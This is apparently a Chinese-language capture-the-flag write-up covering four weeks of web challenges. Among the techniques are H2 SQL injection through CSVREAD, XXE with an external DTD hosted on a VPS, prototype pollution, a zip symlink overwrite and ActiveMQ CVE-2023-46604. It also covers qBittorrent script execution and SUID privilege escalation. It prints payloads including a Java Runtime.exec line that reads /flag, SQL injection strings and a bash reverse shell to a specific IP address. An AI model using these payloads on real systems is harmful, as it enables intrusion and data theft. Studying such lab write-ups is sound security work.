WEEK 1
ezHTTP


Bypass it
其实可以注册,然后登录就有flag





Select Courses
随机有人退课,写脚本一直发起请求,抢别人退掉的
jhat
题目三个hint给的很明显了
直接运行代码就可以了,不过要把类的路径写全。直接写Runtime.getRuntime().exec("cat /flag")会显示没有Runtime,然后就是把命令执行的结果返回,直接问chatgpt。这里就只读一行,懒的试while循环了。new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream(), "UTF-8")).readLine();
WEEK 2
What the cow say?
cowsay是Linux的一种命令,就是命令的拼接,但是很多都被过滤了,但是可以用反引号执行命令,用*绕过flag的过滤,用nl绕过cat的过滤
cowsay有点像ls,输入/*就可以看到根目录下的文件

Select More Courses
又是爆破,先爆出密码:qwert123,再对着扩学分的界面一直爆,直接扩到最高2601,选课就可以了。
myflask
先爆破key,然后进行pickle的反序列化
search4member
源码如下:


就是一个h2数据库的查询
可以直接拼接sql语句进行sql注入

然后我们就需要sql注入来读取文件,load_file没有用,要用CSVREAD
123456%';CREATE TABLE TEST AS SELECT * FROM CSVREAD('/flag');--+
123456%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='TEST'--+

h2数据库的具体用法
WEEK 3
WebVPN
虽然简单但感觉还挺有意思的
先看源码,要访问内网才能得到flag

但是题目只提供了百度和谷歌的proxy

很明显原型链污染,直接污染一个127.0.0.1:true的属性





Zero Link
先获取Admin密码

将上面的代码扔给chatgpt

而第一个记录就是Admin的数据

根据源码可知,访问/api/secret可以得到secret里的内容对应的文件,但是secret里的是/fake_flag,所以我们就要让secret里是/flag

同时/api/upload还有上传zip文件的功能

/api/unzip会进行zip文件解压到/tmp

所以我们就要通过zip文件的解压来覆盖/app/secret,这里参考,其实就是通过软链接进行覆盖 国赛unzip的解法

上传zip文件,然后访问/api/unzip解压


成功覆盖

VidarBox
源码

很明显是xxe,但是file协议从本地读取xml文件,还有检测
我们先来看检测, 编码绕过即可
但是要记得加上
<?xml version="1.0" encoding="UTF-16BE"?>
,因为是UTF-16BE编码cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

evil.dtd
%
是%的html编码,这很重要,直接用%会报错
我们先把payload.xml放在容器里,evil.dtd放在我们的vps上

?fname=../test/payload


成功读到flag
接下来就是把我们的payload.xml放到vps,然后要让靶机去读
通过源码可以知道,这里是file协议,不是http协议,我WEEK3的时候想了好久也尝试了,以为file协议是无法出网访问文件的
后来看官方wp知道可以起个ftp服务器让靶机能够请求到我们vps上的文件
我们可以先用dnslog来试试


有反应,说明是file协议是出网的
直接用官方wp的代码起个ftp服务器
尽量把端口都打开,只开21端口能够接受到请求,但是好像响应请求要从请求的端口走,说起来jndi也是这样

ftp服务器有响应了

再次成功读到
一定要?fname=../../vps/payload,少了../就访问不到
WEEK 4
Reverse and Escalation.
打开是ActiveMQ
搜索得到CVE-2023-46604, 工具下载
直接就可以弹shell
然后是find提权
Reverse and Escalation.II
前面的都一样,就是find加了个计算判断,参考第六届浙江省赛尝试了好久,一直弄不出来,算了。

Whose Home?
给了三个hint

首先要账号密码登录,根据搜索得到默认是admin/adminadmin

成功登录发现是qBittorrentv4.5.5
这里上网找了个v4.5.5的compose.yml,可以先本地打打
hint2说qb本身提供了rce的功能,经过搜索知道是可以运行外部程序,可以设置新增下载和下载完成时执行脚本

这里本来是下到/downloads目录,因为担心执行权限的问题所以改到/tmp
payload.sh直接写我们的命令就可以了
bash -c 'bash -i >& /dev/tcp/124.221.19.214/2333 0>&1'
,接下来就是要把payload.sh上传到靶机,这里要自己做torrent种子让它下载。
我这里用比特彗星制作,具体制作自己去查,主要是这里可以用Web种子做,把payload.sh放到vps上,保证自己访问可以下载,然后靶机下载的时候就会从 http://vps/payload.sh进行下载 http://vps/payload.sh

然后添加我们做好的torrent种子进行下载就可以反弹了

第一个flag没有权限读,suid提权,找到iconv命令

成功读取第一个flag

上传fscan扫描发现100.64.43.4开启了22端口,猜测要用frp进行穿通

这里有一个奇怪的hgame/Sh3hoVRqMQJAw9D,猜测是ssh的密码

但是密码错误,没思路了。

看了wp说还有6800端口,但是我没扫出来,估计是我的命令不对
i-short-you-1
不是很懂,说是jrmp,就是rmi进行通信的一种协议,ysoserial里也有利用链
这里直接用官方的wp,自己调试看一下链子好了


UnicastRef#newCall,就是这里发起了请求

发起newCall后对Listener返回的数据进行了readObject,所以弹计算器了。

